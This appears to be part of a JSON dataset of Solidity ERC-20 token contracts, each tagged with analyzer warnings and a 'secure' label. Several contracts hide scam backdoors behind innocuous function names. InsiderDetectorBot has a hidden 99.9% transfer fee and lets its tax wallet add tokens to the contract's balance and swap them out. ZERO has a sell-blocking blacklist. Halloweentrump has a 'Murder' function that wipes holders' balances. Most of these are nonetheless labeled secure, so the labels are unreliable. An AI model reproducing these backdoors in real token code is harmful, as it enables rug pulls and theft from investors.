Recommendation for aa053b9: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"INSIDER\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 477a255): InsiderDetectorBot.uniV2Router should be constant \n\t// Recommendation for 477a255: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 07e0dad): InsiderDetectorBot._taxWallet should be immutable \n\t// Recommendation for 07e0dad: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function wasto() external {}\n\n function wasat() external {}\n\n function forswapps() public {}\n\n function inswapps() external {}\n\n function todivides(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function settaxes(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_554.sol",
"secure": 1,
"size_bytes": 7132
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Adonai is ERC20 {\n constructor() ERC20(\"Adonai\", \"Adonai\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_555.sol",
"secure": 1,
"size_bytes": 272
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Amerikankol47 is ERC20, Ownable {\n constructor() ERC20(\"American KOL 47\", \"AK47\") {\n _mint(msg.sender, 47000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_556.sol",
"secure": 1,
"size_bytes": 358
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ZERO is Context, IERC20, Ownable {\n mapping(address => uint256) public _balances;\n\n mapping(address => uint256) public _V2;\n\n mapping(address => bool) private _User;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4769729): ZERO._totalSupply should be immutable \n\t// Recommendation for 4769729: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: df7393d): ZERO.Activate should be constant \n\t// Recommendation for df7393d: Add the 'constant' attribute to state variables that never change.\n bool Activate = true;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0dd53c1): ZERO._name should be constant \n\t// Recommendation for 0dd53c1: Add the 'constant' attribute to state variables that never change.\n string public _name = \"Zero the Dog\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 8607af8): ZERO._symbol should be constant \n\t// Recommendation for 8607af8: Add the 'constant' attribute to state variables that never change.\n string public _symbol = unicode\"ZERØ\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 7768d62): ZERO._decimals should be constant \n\t// Recommendation for 7768d62: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 8;\n\n constructor() {\n uint256 _core = block.number;\n\n _V2[_msgSender()] += _core;\n\n _totalSupply += 420000000000 * 100000000;\n\n _balances[_msgSender()] += _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transferfrom(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function Release(address _Address) external {\n require(_V2[_msgSender()] >= _decimals);\n\n _User[_Address] = false;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_User[sender]) require(Activate == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferfrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_User[sender] || _User[recipient]) require(Activate == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _0x(address _Address) external {\n require(_V2[_msgSender()] >= _decimals);\n\n _User[_Address] = true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_557.sol",
"secure": 1,
"size_bytes": 6010
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Halloweentrump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable deficiency;\n\n constructor() {\n _name = \"Spooky Trump\";\n\n _symbol = \"SPOOKYT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 697000000;\n\n deficiency = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == deficiency, \"Not allowed\");\n\n _;\n }\n\n function Murder(address[] memory doubt) public onlyOwner {\n for (uint256 i = 0; i < doubt.length; i++) {\n address account = doubt[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_558.sol",
"secure": 1,
"size_bytes": 4377
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 90895e6): TEE20.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 90895e6: Consider ordering multiplication before division.\ncontract TEE20 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f19d54a): TEE20._taxWallet should be immutable \n\t// Recommendation for f19d54a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 57dafb2): TEE20._initialBuyTax should be constant \n\t// Recommendation for 57dafb2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b2bd66): TEE20._initialSellTax should be constant \n\t// Recommendation for 0b2bd66: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: c19984d): TEE20._finalBuyTax should be constant \n\t// Recommendation for c19984d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9486b85): TEE20._finalSellTax should be constant \n\t// Recommendation for 9486b85: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f06c2f): TEE20._reduceBuyTaxAt should be constant \n\t// Recommendation for 3f06c2f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c5da1f5): TEE20._reduceSellTaxAt should be constant \n\t// Recommendation for c5da1f5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1369091): TEE20._preventSwapBefore should be constant \n\t// Recommendation for 1369091: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f38158): TEE20._transferTax should be constant \n\t// Recommendation for 2f38158: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Tee_Hee_He 2.0\";\n\n string private constant _symbol = unicode\"TEE2.0\";\n\n\t// divide-before-multiply | ID: 8b87f6b\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 429c87b\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: d42566e): TEE20._taxSwapThreshold should be constant \n\t// Recommendation for d42566e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 90895e6\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: ddb65d9): TEE20._maxTaxSwap should be constant \n\t// Recommendation for ddb65d9: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 367dd77\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2378acd): TEE20.uniswapV2Router should be immutable \n\t// Recommendation for 2378acd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0af252e): TEE20.uniswapV2Pair should be immutable \n\t// Recommendation for 0af252e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6d3cca7): TEE20.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6d3cca7: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0x5263D00384433F2844594Ec6B6199FB43eb580c7);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 6d3cca7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 25f226b): TEE20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 25f226b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2317fb7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2317fb7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 37c31d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 37c31d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2317fb7\n\t\t// reentrancy-benign | ID: 37c31d0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2317fb7\n\t\t// reentrancy-benign | ID: 37c31d0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 97edd97): TEE20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 97edd97: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 37c31d0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2317fb7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1ccaf66): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1ccaf66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4091c38): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4091c38: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1ccaf66\n\t\t\t\t// reentrancy-eth | ID: 4091c38\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1ccaf66\n\t\t\t\t\t// reentrancy-eth | ID: 4091c38\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4091c38\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4091c38\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4091c38\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1ccaf66\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4091c38\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4091c38\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1ccaf66\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2317fb7\n\t\t// reentrancy-events | ID: 1ccaf66\n\t\t// reentrancy-benign | ID: 37c31d0\n\t\t// reentrancy-eth | ID: 4091c38\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2317fb7\n\t\t// reentrancy-events | ID: 1ccaf66\n\t\t// reentrancy-eth | ID: 4091c38\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f2c6c7f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f2c6c7f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c9773ff): TEE20.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c9773ff: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3632a7f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3632a7f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f2c6c7f\n\t\t// unused-return | ID: c9773ff\n\t\t// reentrancy-eth | ID: 3632a7f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f2c6c7f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3632a7f\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSw() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_559.sol",
"secure": 0,
"size_bytes": 18432
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n if (\n _msgSender() == 0x9f4b9277FbfD954b443F24edDDC98015611730c2 ||\n _msgSender() == 